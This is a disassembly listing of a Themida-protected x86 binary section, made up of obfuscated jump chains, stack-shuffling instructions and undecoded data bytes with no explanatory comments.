		add	ebx, 2
		push	ebx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		btc	[esp], ax
		pushf
		jmp	loc_6032DD
; ---------------------------------------------------------------------------


loc_604236:				; CODE XREF: Themida_:006046C2j
		add	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		jmp	loc_60639E
; ---------------------------------------------------------------------------
		dw 0EB68h
		dd 54000073h, 8324048Fh, 8B042404h, 0C4812414h,	4, 4C281h
		dd 0BD550000h, 2, 27E4C281h, 0EA297F26h, 0A645E9h, 74FF5200h
		dd 148B0424h, 6EE95124h, 81000036h, 4C4h, 68C80F00h, 2356h
		dd 0E9240489h, 0FFFFF045h, 5C24048Fh, 31FDE9h, 4B85000h
		dd 0E9000000h, 0ABD5h
; ---------------------------------------------------------------------------


loc_6042AC:				; CODE XREF: Themida_:0060B31Ej
		mov	ebx, 6CAD0A81h
		jmp	loc_60E839
; ---------------------------------------------------------------------------
aSRsjp		db 'S',0Dh,'RJ',0
		dw 500h
		dd 29976F53h, 4EC81h, 34890000h, 6F53E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_6042D2:				; CODE XREF: Themida_:00607F3Bj
		push	ebp
		push	5AA017D0h
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_609D34
; ---------------------------------------------------------------------------
		db 0E9h
		dd 9756h, 8146D6F7h, 0D497DAEEh, 5EF5896Fh, 505DE801h
		dd 36968h, 240C8900h, 87CCE9h, 241C8700h, 0E924248Bh, 0FFFFEFCDh
; ---------------------------------------------------------------------------


loc_604310:				; CODE XREF: Themida_:00605B4Bj
		push	eax
		mov	eax, 4
		sub	ebp, eax
		push	dword ptr [esp]
		jmp	loc_60A234
; ---------------------------------------------------------------------------
		dd 0FCC9E959h, 0E689FFFFh, 19A5E9h, 24040100h, 0EFA7E99Ch
		dd 0E4BDFFFFh, 0E9571F09h, 6ABCh, 240C8B66h, 8904EC83h
		dd 0E0892404h, 405h, 2C3BE900h,	0C7880000h, 5BF90058h
		dd 8006E9C0h, 0D9F63AC9h, 0D1F6D1F6h, 7BB05066h, 5866C130h
		dd 0E959CA28h, 7ED7h, 81E38953h, 4C3h, 4EB8300h, 0E9241C87h
		dd 0A172h, 505EF531h, 0B9A062B8h, 0E9C52993h, 0ABEFh, 17E9C704h
		dd 5C000075h, 81242489h, 4ECh, 240C8900h, 0FFFAA5E9h, 0EF23E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6043BA:				; CODE XREF: Themida_:0060D038j
		push	esp
		jmp	loc_60C907
; ---------------------------------------------------------------------------


loc_6043C0:				; CODE XREF: Themida_:00604684j
		sub	eax, 612272D4h
		push	37D5h
		mov	[esp], ebp
		push	esi
		mov	esi, 2000000h
		mov	ebp, esi
		jmp	loc_60F48E
; ---------------------------------------------------------------------------
		dw 0E2C0h
		dd 0E9536607h, 0FFFFF36Ch, 4C4835Dh, 8702C783h,	0F65C243Ch
		dd 0B60F66E1h, 0C76866CCh, 0A681E92Bh, 0C3810000h, 4, 0E904C383h
		dd 73DEh, 2414895Ch, 8DE9E289h,	6600003Bh, 22474FFh, 24148B66h
		dd 0E902C483h, 3E0Ch, 2C07E0C0h, 4C0FEB8h, 58C328C9h
		db 8Bh,	0Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_60AB09
; ---------------------------------------------------------------------------
		db 58h
		dd 0E95FFB01h, 0D6Bh
; ---------------------------------------------------------------------------


loc_604454:				; CODE XREF: Themida_:00609D4Ej
		shr	eax, 6
		and	eax, 773B5A02h
		push	edx
		mov	edx, 211002h
		xor	eax, edx
		pop	edx
		push	eax
		add	dword ptr [esp], 6AFB2AB6h
		pop	ecx
		jmp	loc_60D620
; ---------------------------------------------------------------------------
		db 89h
		dd 97B5240Ch, 808EF580h, 0ED80B1EDh, 1ED8080h, 0E5C0CDFEh
		dd 0CDCD8002h, 0E9FFED80h, 8822h, 4C181h, 0C1810000h, 4
		dd 31240C33h, 0C33240Ch, 24248B24h, 4EC81h, 4890000h, 3F68B824h
		dd 6E96200h, 8800001Eh,	805966EFh, 15E9E7F7h, 890000A0h
		dd 4C181E1h, 57000000h,	4BFh, 0E9F90100h, 0E75h, 4BA52h
		dd 0D7010000h, 243C335Ah, 0E9243C31h, 1B7Ch, 0A9685755h
		dd 0E900004Bh, 116Eh, 0E95A8004h, 0FFFFFAD4h, 0FFEDD0E9h
		dd 49952DFFh, 0E0E90119h, 33000085h, 895C240Ch,	5F54243Ch
		dd 4EC81h, 14890000h, 67BB5324h, 0BA4F1A1Eh, 0B0E5E19Dh
		dd 2CE9DA01h
		db 9Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_60453B:				; CODE XREF: Themida_:00607C40j
		mov	[ecx], edx
		mov	ecx, [esp]
		push	edx
		jmp	loc_60BF7C
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4C48124h, 0E9000000h, 5C93h,	0E958C289h, 5015h
; ---------------------------------------------------------------------------


loc_60455C:				; CODE XREF: Themida_:00604CEEj
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_603AC8
; ---------------------------------------------------------------------------
aI4LhSs4	db '4$LH}s4',0
		align 2
		dw 0EE01h
		dd 2434875Dh, 0E924248Bh, 47Ah,	8308EEC1h, 0E8E901EEh
		db 64h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_604593:				; CODE XREF: Themida_:0060DD22j
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_60E8F6
; ---------------------------------------------------------------------------
		dd 0E9241C89h, 5C4Eh, 9E3AA8BBh, 246C815Ch, 135A6104h
		dd 2444811Eh, 0EF6F2A04h, 245C0127h, 192AE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_6045CA:				; CODE XREF: Themida_:00604180j
		add	edx, edi
		add	edx, 4C090B89h
		push	dword ptr [edx]
		push	ebp
		jmp	loc_60DF6E
; ---------------------------------------------------------------------------
		dw 13BBh
		dd 8146B349h, 0DC68FBC3h, 0EBC1434Dh, 12C38105h, 294FC2F7h
		dd 5ABFE9DDh, 0FE580000h, 0F65166C9h, 59662414h, 0FFF124E9h
		dd 32FF64FFh, 0FFECD0E9h, 2F3805FFh, 0F02964F6h, 0F62F382Dh
		dd 24D62D64h, 34FF01B5h, 0C4835E24h, 5EED0504h,	0BCE914F7h
		dd 900007Ah, 1BE91C4Fh,	0C0FFFFF6h, 0D4F603E4h,	4FB15166h
		dd 5966CC08h, 0A3ABE9h,	1C77FF00h, 0D359669Dh, 0E99C241Ch
		dd 0FFFFEC85h, 0B7DE951h, 0D8010000h, 2055Bh, 4870000h
		dd 0D3665C24h, 0E99C240Ch, 0FFFFEC69h
; ---------------------------------------------------------------------------


loc_604674:				; CODE XREF: Themida_:0060DBFEj
		xor	eax, 6D336188h
		or	eax, 83C61DEh
		jmp	loc_60A32D
; ---------------------------------------------------------------------------


loc_604683:				; CODE XREF: Themida_:00608CAFj
		pop	esp
		jmp	loc_6043C0
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 24048B04h, 0EFE7E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_604696:				; CODE XREF: Themida_:00608C0Fj
		mov	ebp, [esp]
		add	esp, 4
		or	esi, edx
		pop	edx
		add	esi, 812C9406h
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		jmp	loc_604236
; ---------------------------------------------------------------------------
		db 8Bh
		dd 8956240Ch, 4C681E6h,	81000000h, 4C6h, 24348700h, 4C4815Ch
		dd 0E9000000h, 0FFFFEBF5h
; ---------------------------------------------------------------------------


loc_6046E8:				; CODE XREF: Themida_:0060EB62j
		pop	ebx
		push	7A30h
		jmp	loc_60C6F8
; ---------------------------------------------------------------------------
		db 68h
		dd 72EEh, 83243C89h, 248904ECh,	0F7E95024h
		db 73h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_604707:				; CODE XREF: Themida_:0060E0E1j
		push	eax
		mov	ah, 1Ah
		jmp	loc_60A18F
; ---------------------------------------------------------------------------


loc_60470F:				; CODE XREF: Themida_:0060E5BCj
		push	esi
		push	ebp
		pop	esi
		mov	edx, esi
		pop	esi
		pop	ebp
		mov	edi, edx
		jmp	loc_608EC9
; ---------------------------------------------------------------------------
		db 83h,	7Fh, 20h
		dd 8840F00h, 5300003Ah,	0E24A5BBBh, 81DBF708h, 0B71AB6CBh
		dd 0F7D3F707h, 3BBD55D3h, 4D10B60Dh, 8957DDF7h,	4C781E7h
		dd 83000000h, 0FF5704EFh, 5F042474h, 5C24048Fh,	57241489h
		dd 0B678E2BFh, 66D3E92Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_604766:				; CODE XREF: Themida_:0060F25Ej
		sub	ebp, 0AE127CAEh
		add	esi, ebp
		jmp	loc_60B0E9
; ---------------------------------------------------------------------------


loc_604773:				; CODE XREF: Themida_:0060D9E0j
		and	ecx, 4068682Ch
		or	ecx, 4CCC00E3h
		jmp	loc_60DAEB
; ---------------------------------------------------------------------------
		dd 0CAFEDAF6h, 0E9E9F280h, 3373h
; ---------------------------------------------------------------------------


loc_604790:				; CODE XREF: Themida_:0060F134j
		sub	bh, 0BEh
		jmp	loc_6048A6
; ---------------------------------------------------------------------------
		dd 0E930FF66h, 0FFFFEB3Dh
; ---------------------------------------------------------------------------


loc_6047A0:				; CODE XREF: Themida_:006095B8j
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_6094C5
; ---------------------------------------------------------------------------
		dw 158h
		dd 240C8BCFh, 4C481h, 0BD550000h, 7A70742Bh, 0E902E5C1h
		dd 0FFFFEE3Dh, 3F90C981h, 0F1812693h, 50632DCEh, 7FA4C181h
		dd 0D1F70217h, 332CF181h, 766847DFh, 0E900003Ch, 0A838h
; ---------------------------------------------------------------------------


loc_6047EC:				; CODE XREF: Themida_:00603F14j
		and	ebx, 1DA972FBh
		push	ebp
		push	edi
		mov	edi, 47633FD2h
		jmp	loc_6040CB
; ---------------------------------------------------------------------------
aIssjp		db 'P',0
		db 0
; ---------------------------------------------------------------------------


loc_604805:				; CODE XREF: Themida_:0060AC56j
		and	eax, edx
		mov	edx, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_60B03A
		push	dword ptr [edi+1Ch]
		add	dword ptr [esp], 364A4C3Eh
		jmp	loc_60A71B
; ---------------------------------------------------------------------------
		dd 0FF240489h, 58042474h, 8B24048Fh, 15E92424h,	310000A9h
		dd 2434FFF8h, 4EC835Fh,	3DBDE9h
		db 0
; ---------------------------------------------------------------------------


loc_604845:				; CODE XREF: Themida_:00607815j
		mov	ebx, 0FF55A623h
		sub	eax, ebx
		jmp	loc_60E190
; ---------------------------------------------------------------------------


loc_604851:				; CODE XREF: Themida_:0060A457j
		dec	esi
		and	esi, 0E6C676Fh
		shr	esi, 2
		sub	esi, 15631C0h
		jmp	loc_60DB6F
; ---------------------------------------------------------------------------
		dw 158h
		dd 0FF525DEAh, 5A042474h, 5C24048Fh, 24042966h,	0EA5FE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60487E:				; CODE XREF: Themida_:0060C5F7j
		pop	ebx
		jmp	loc_6032DD
; ---------------------------------------------------------------------------
		dd 875DEE01h, 248B2434h, 0C8B6624h, 85B9E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_604896:				; CODE XREF: Themida_:0060BA20j
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		jmp	loc_6038A4
; ---------------------------------------------------------------------------


loc_6048A6:				; CODE XREF: Themida_:00604793j
		sub	al, bh
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_60A900
; ---------------------------------------------------------------------------


loc_6048BF:				; CODE XREF: Themida_:0060DDE7j
		sub	[esp], ebp
		pop	ebp
		push	edi
		jmp	loc_6055D9
; ---------------------------------------------------------------------------
aQh_		db '([Qh.(',0
		align 2
		dd offset dword_4422E8+1
		dw 3300h
		dd 248B240Ch, 24048924h, 4EC81h, 3C890000h, 0FBFFBF24h
		dd 0F889FFFFh, 149AE9h,	5FFE0100h, 31243433h, 34332434h
		dd 3459E924h, 58540000h, 2097E9h, 2434FF00h, 582434FFh
		dd 4C481h, 54530000h, 4C3815Bh,	81000000h, 4EBh, 241C8700h
		dd 2434895Ch, 24348B54h, 4C481h, 0C6810000h, 4,	4C681h
		dd 2BE90000h, 8300001Dh, 0C3304C4h, 0E9F2E924h,	0E957FFFFh
		dd 4655h, 0FFE97CE9h, 0BFE956FFh, 53FFFFF9h, 4BBh, 0B2C18100h
		dd 2927A272h, 0C5BE56D9h, 0E92DC62Eh, 5FC7h, 4C481h, 895A0000h
		dd 242C8BEBh, 0C104C483h, 0CAE908E3h, 8900008Dh, 0E9532404h
		dd 1A19h, 4F6C181h
		db 0Bh,	1
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_60E995
; ---------------------------------------------------------------------------
		dw 558h
		dd 4, 405h, 6AE6E900h, 815E0000h, 4C6h,	4BA5200h, 29000000h
		dd 34875AD6h, 0FA26E924h, 0C5B9FFFFh, 0E914BC25h, 1531h
		dd 0FD72EE81h, 0F701FF1Dh, 5E2434FFh, 208AE955h, 0E9520000h
		dd 0B46h
; ---------------------------------------------------------------------------


loc_604A08:				; CODE XREF: Themida_:006084F8j
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		or	eax, eax
		jnz	loc_6060F1
		mov	edx, 48F253BFh
		jmp	loc_60879E
; ---------------------------------------------------------------------------
		dw 6651h
		dd 66196868h, 0E9241489h, 2FAEh, 504C483h, 4, 49D0E951h
		dd 4050000h, 83000000h,	48704E8h, 24248B24h, 53242C89h
		dd 94900BBh, 5BDD890Ch,	76E9E829h, 81FFFFEBh, 4EAh, 24148700h
		dd 603FE9h, 8B670400h, 0C4812414h, 4, 41F7E9h, 1D786800h
		dd 0E95A7513h, 4C24h
; ---------------------------------------------------------------------------


loc_604A98:				; CODE XREF: Themida_:00608F8Bj
		pop	edx
		sub	edx, ebp
		pop	ebp
		jmp	loc_606ABE
; ---------------------------------------------------------------------------
		db 66h,	89h, 14h
		dd 0FFBA6624h, 0D12966FFh, 66555A66h, 0E9718ABDh, 1E1Ah
		dd 4C281h, 38680000h, 0E900001Ch, 3E64h
; ---------------------------------------------------------------------------


loc_604AC8:				; CODE XREF: Themida_:0060C3B4j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp


loc_604ADA:				; CODE XREF: Themida_:0060EA90j
		push	57h
		mov	[esp], esi
		push	ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_60BE04
; ---------------------------------------------------------------------------
aSss		db '\s',0
		align 4


loc_604AF4:				; CODE XREF: Themida_:006062C0j
		mov	edx, 4
		add	eax, edx
		pop	edx
		xchg	eax, [esp]
		pop	esp
		jmp	loc_605DF5
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 8B24048Fh, 28E92424h
		db 4Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_604B13:				; CODE XREF: Themida_:0060B73Fj
		sub	ecx, 1
		sub	ecx, 648095CDh
		xor	esi, ecx
		pop	ecx
		add	eax, 354A0C9Ch
		sub	eax, 28DE5DE2h
		sub	eax, 4C585A12h
		add	eax, esi
		add	eax, 4C585A12h
		add	eax, 28DE5DE2h
		sub	eax, 354A0C9Ch
		pop	esi
		jmp	loc_60DB4F
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 582434FFh, 0E904C483h, 0A81Ah, 0C281F201h, 36D260E2h
		dd 0B32EA81h, 348B2EA9h, 4C48324h, 315AD029h, 8F66C3h
		dd 0FFE768E9h, 0EC815DFFh, 4, 0FFFCA3E9h, 4C381FFh, 33000000h
		dd 16E9241Ch, 1FFFFEAh,	1C8758C3h, 24248B24h, 533EE9h
		dd 241C3300h, 8924248Bh, 0BB532424h, 4,	2E8BE9h, 4C68100h
		dd 51000000h, 4B9h, 59CE0100h, 968EE9h,	77685700h, 8B603838h
		dd 0B4E9243Ch, 8100000Eh, 7C6924C5h, 0EF015910h, 9358E9h
		dd 32C68000h, 0C0C6FE58h, 0E95302E6h, 2F56h, 0B17AF1BBh
		dd 0CEBF571Bh, 8158AD50h, 0F42FC7C7h, 3AEF8124h, 81156138h
		dd 141842EFh, 5FFB31EAh, 8103E3C1h, 0EA5744F3h,	5BD8012Ch
		dd 2474FF50h, 48F5804h,	0B2E95C24h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_604C2B:				; CODE XREF: Themida_:0060C4FEj
		mov	[esp], bx
		jmp	loc_60E9D3
; ---------------------------------------------------------------------------


loc_604C34:				; CODE XREF: Themida_:006035F6j
		push	dword ptr [esp]
		pop	eax
		push	114h
		mov	[esp], edi
		jmp	loc_60797A
; ---------------------------------------------------------------------------


loc_604C45:				; CODE XREF: Themida_:0060B7E5j
		mov	edi, edx
		pop	edx
		jmp	loc_60560B
; ---------------------------------------------------------------------------
aYshx		db 'Yhx',0
		dw 5200h
		dd 9050F0BAh, 0B1EA8171h, 293A921Eh, 0CD015AD5h, 323FC581h
		dd 34FF36FEh, 1B8CE924h, 0E0890000h, 405h, 42D00h, 0E9500000h
		dd 0A867h, 6631ED81h, 0ED813DC7h, 19996DADh, 592434FFh
		dd 4EC81h, 63E90000h, 8B00004Fh, 0C481240Ch, 4,	224268h
		dd 241C8900h, 19F8E9h, 48B6600h, 4EC8124h, 89000000h, 5A542414h
		dd 0FFA8E950h, 148BFFFFh, 4C48124h, 0E9000000h,	72FAh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_60A197
; ---------------------------------------------------------------------------


loc_604CE0:				; CODE XREF: Themida_:0060AFF3j
		push	edx
		mov	edx, 79C850DAh
		jmp	loc_60B0AA
; ---------------------------------------------------------------------------


loc_604CEB:				; CODE XREF: Themida_:0060DC64j
		add	edi, 4
		jmp	loc_60455C
; ---------------------------------------------------------------------------


loc_604CF3:				; CODE XREF: Themida_:0060793Aj
		mov	esi, 4
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_60B03A
; ---------------------------------------------------------------------------
		dd 0F7D3F74Bh, 0E2B850DBh, 2D3E4D77h, 0C8B2839h, 2F2DD0F7h
		dd 2D28787Dh, 532E3646h, 72A3AD2Dh, 723AE9BFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_604D2A:				; CODE XREF: Themida_:00603638j
		mov	eax, [esp]
		jmp	loc_60D552
; ---------------------------------------------------------------------------


loc_604D32:				; CODE XREF: Themida_:0060955Fj
		dec	dl
		add	dl, 1
		not	dl
		add	dl, 98h
		sub	esp, 4
		jmp	loc_609CF5
; ---------------------------------------------------------------------------
		dd 3042C75Dh, 12611F09h, 0EFE3E955h, 487FFFFh, 3C895C24h
		dd 2474FF24h, 48F5F04h,	0F9F65C24h, 0CCB60F66h
dword_604D68	dd 5A3D6866h, 240C8966h, 0C8B60F66h, 0E99C5166h, 0FFFFE561h
					; DATA XREF: Themida_:005FF953o
; ---------------------------------------------------------------------------


loc_604D7C:				; CODE XREF: Themida_:0060E602j
		sub	eax, 0FFFFFFFFh
		shl	eax, 2
		inc	eax
		neg	eax
		jmp	loc_60DE3B
; ---------------------------------------------------------------------------


loc_604D8A:				; CODE XREF: Themida_:0060B948j
		mov	edx, 61913E48h
		sub	edx, ebp
		pop	ebp
		add	edx, ecx
		pop	ecx
		sub	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_60CFAA
; ---------------------------------------------------------------------------
		dw 166h
		dd 0BA6652F0h, 0F7661ADFh, 1E99E9D2h, 295A0000h, 242C8BEEh
		dd 4C481h, 0F1010000h, 0E92434FFh, 0FFFFF286h, 7942C781h
		dd 0B95122CAh, 64F12503h, 8359CF01h, 0EFC101EFh, 7267E907h
		dd 0B9510000h, 32A0401Dh, 0F704E1C1h, 1057E9D1h, 48F0000h
		dd 24048124h, 4, 8316E9h, 24148700h, 2B35E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_604E0A:				; CODE XREF: Themida_:0060D63Bj
		mov	esp, [esp]
		or	eax, eax
		jz	loc_6060F1
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 2DB6120h
		sub	edx, 288A6448h
		shr	edx, 5
		push	ebx
		jmp	loc_6073CD
; ---------------------------------------------------------------------------
		dw 0E957h
		dd 0FFFFED56h, 712BB951h, 0D9F72EF0h, 203CE9h
		db 0
; ---------------------------------------------------------------------------


loc_604E45:				; CODE XREF: Themida_:00606839j
		pop	ebx
		not	ecx
		xor	ecx, 0D51061A4h
		sub	ebp, ecx
		jmp	loc_6036E4
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 48B82404h, 0C1042123h, 0BA5203E8h, 429180Ch
		dd 0C281DAF7h, 70431317h, 6D70E9h, 0CEB95100h, 21278C70h
		dd 6888E9CDh, 0C6810000h, 54077A29h, 5357FE29h,	0E6065CBBh
		dd 73CDBF6Bh, 35E9E821h
		db 52h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_604E9F:				; CODE XREF: Themida_:00605A82j
		push	edx
		push	eax
		push	ebx
		jmp	loc_60BEC6
; ---------------------------------------------------------------------------


loc_604EA7:				; CODE XREF: Themida_:0060BD73j
		mov	[esp], ecx
		push	eax
		push	edi
		jmp	loc_603AE5
; ---------------------------------------------------------------------------


loc_604EB1:				; CODE XREF: Themida_:00609ECCj
		push	edx
		jmp	loc_60E786
; ---------------------------------------------------------------------------
aPiISx		db 'PȈ/',0
		db 0
; ---------------------------------------------------------------------------


loc_604EC1:				; CODE XREF: Themida_:0060CD6Bj
		dec	edx
		or	edx, 6E787BEBh
		and	edx, 7DD21801h
		jmp	loc_605315
; ---------------------------------------------------------------------------


loc_604ED3:				; CODE XREF: Themida_:0060A6E2j
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_60BEBE
; ---------------------------------------------------------------------------
		db 0Bh,	0C9h, 0Fh
		dd 0FFFE5C84h, 51CF68FFh, 0EC830000h, 24248904h, 4240481h
		dd 8F000000h, 89502404h, 1EDBE9E0h, 895C0000h, 0E389241Ch
		dd 4C381h, 32E90000h, 5A000020h, 0C15DEF31h, 0CF8104EFh
		dd 3CE74D41h, 751CF781h, 57E9392Ch
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------


loc_604F2F:				; CODE XREF: Themida_:0060C806j
		add	edx, ecx
		pop	ecx
		add	edx, ebp
		push	eax
		push	ebp
		push	16CE4073h
		pop	ebp
		sub	ebp, 39C1FD9h
		mov	eax, ebp
		pop	ebp
		jmp	loc_603C97
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 45E90424h, 0C100004Fh, 0BA5205E6h, 4F03B8B7h, 0E95AD629h
		dd 2E3Bh, 20A4E95Fh, 89520000h,	9B3EE9E2h, 74FF0000h, 0E95D0424h
		dd 2E32h, 83241C8Bh, 0C8B04C4h,	2286824h, 0C890000h, 0E9595424h
		dd 5163h, 39C9B951h, 37BB7F52h,	1B07745h, 0BE5659CBh, 4C74AD9h
		dd 8247429h, 245C295Eh,	3D97E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_604FB6:				; CODE XREF: Themida_:0060358Bj
		xchg	ebx, [esp]
		jmp	loc_60AB51
; ---------------------------------------------------------------------------


loc_604FBE:				; CODE XREF: Themida_:00606B44j
		sub	ah, cl
		pop	ecx
		push	ax
		not	byte ptr [esp+1]
		jmp	loc_607FF0
; ---------------------------------------------------------------------------


loc_604FCC:				; CODE XREF: Themida_:0060F2DEj
		mov	esp, [esp]
		jmp	loc_6079E7
; ---------------------------------------------------------------------------
		dd 0B0505166h, 88F3E992h, 77FF0000h, 59669D1Ch,	241CD366h
		dd 0E2EFE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_604FEE:				; CODE XREF: Themida_:0060B5D3j
		add	edx, edi
		push	dword ptr [edx]
		jmp	loc_60E814
; ---------------------------------------------------------------------------


loc_604FF7:				; CODE XREF: Themida_:0060DCD9j
		mov	edx, [esp]
		jmp	loc_60CB02
; ---------------------------------------------------------------------------
		db 81h
		dd 524E0FC1h, 49E3E927h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_60500A:				; CODE XREF: Themida_:006076F3j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_6085EE
; ---------------------------------------------------------------------------


loc_60501C:				; CODE XREF: Themida_:0060350Bj
		push	76EAh
		jmp	loc_60A90B
; ---------------------------------------------------------------------------
		dw 0F181h
		dd 526D533Ah, 0B5BFE981h, 0CE29A3F4h, 0F9B6E959h, 0F281FFFFh
		dd 9F003EBAh, 148BD631h, 4C48324h, 0B32C281h, 0EA812EA9h
		dd 36D260E2h, 0FFFAFBE9h, 2BBFFh, 1BE90000h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_605063:				; CODE XREF: Themida_:0060F245j
		pop	ebx
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		jmp	loc_604213
; ---------------------------------------------------------------------------
		dw 0FA01h
		dd 9003E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_60507A:				; CODE XREF: Themida_:006036E7j
		add	esp, 4
		mov	edx, ebp
		push	dword ptr [esp]
		jmp	loc_603F47
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0E831C531h, 84AFE9h, 81F22900h, 53214CEAh, 0FA015E1Ah
		dd 3430C281h, 68515AEEh, 0
		dd 0E9240C8Bh, 86F1h, 81240C8Bh, 4C4h, 52D0F700h, 386BB850h
		dd 85E946AFh
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6050CF:				; CODE XREF: Themida_:0060DDDDj
		add	eax, edi
		add	eax, 537443FDh
		add	eax, 32570159h
		mov	ecx, [eax]
		push	dword ptr [esp]
		pop	eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	2824h
		mov	[esp], ebp
		jmp	loc_603DB5
; ---------------------------------------------------------------------------
		dd 68241C89h, 18BBh, 81242489h,	42404h,	6EE90000h, 5100008Bh
		dd 570AE9h, 565F5600h, 0F189FE89h, 0E95E5F5Eh, 2CB2h
; ---------------------------------------------------------------------------


loc_60512C:				; CODE XREF: Themida_:0060E011j
		mov	esi, 1
		jmp	loc_606A4A
; ---------------------------------------------------------------------------
		dw 5854h
		dd 4EC8356h, 0B9240C89h, 619A6AE3h, 1DB7E9h, 242C3100h
		dd 5C242C33h, 5457F9F7h, 4C7815Fh, 50000000h, 94BBE9h
		dd 0C335A00h, 240C3124h, 0E9240C33h, 0FFFFEC50h
; ---------------------------------------------------------------------------


loc_605170:				; CODE XREF: Themida_:006094C0j
		pop	edx
		jmp	loc_603C14
; ---------------------------------------------------------------------------
		dw 532Dh
		dd 2D29976Fh, 519E0B41h, 4105D829h, 0E9519E0Bh,	0FFFFF133h
		dd 0C581E589h, 4, 94EE9h, 24148B00h, 4C483h, 52802CD8h
		dd 8904EC83h, 0B8B1240Ch, 0E980D1F6h, 3C18054h,	80E6F180h
		dd 0F8E96DC1h, 31FFFFFCh, 2434FFC3h, 8124048Bh,	4C4h, 4C48300h
		dd 0FFE108E9h, 42E9ADFFh, 68FFFFF5h, 756033DBh,	1B50E9h
		dd 4C38100h, 0E9000000h, 0FFFFF188h
; ---------------------------------------------------------------------------


loc_6051F0:				; CODE XREF: Themida_:0060CEE6j
		xor	esi, ebp
		pop	ebp
		jmp	loc_604104
; ---------------------------------------------------------------------------
		dd 7F3126B8h, 5E0C134h,	906F572Dh, 44F42D3Fh, 0E7E978FFh
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_60520F:				; CODE XREF: Themida_:0060BAF9j
		pop	eax
		push	ebx
		jmp	loc_60A011
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 11589D1Ch, 0E99C2404h, 0FFFFE0B9h, 5FE95053h, 4500002Dh
		dd 84ED8145h, 10298A2h,	8685DEEh, 8900000Dh, 4B9240Ch
		dd 81000000h, 39675AEEh, 81CE2911h, 39675AC6h, 34875911h
		dd 1C895C24h, 81E38924h, 4C3h, 2BD5500h, 81000000h
dword_605268	dd 971AE3EBh, 81EB013Dh, 971AE3C3h, 1C335D3Dh, 1029E924h
					; DATA XREF: Themida_:005F45A4o
		dd 0D8290000h, 81241C8Bh, 4C4h,	24048700h, 0C89665Ch, 0B60F6624h
		dd 9C5166C8h, 0FFE040E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_60529D:				; CODE XREF: Themida_:006098F0j
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_603981
; ---------------------------------------------------------------------------
		dw 0CD68h
		dd 5949694Bh, 0C105E9C1h, 0C18102E9h, 23182365h, 35EE9h
		db 0
; ---------------------------------------------------------------------------


loc_6052BD:				; CODE XREF: Themida_:00606328j
		pop	esp
		jmp	loc_60CA26
; ---------------------------------------------------------------------------
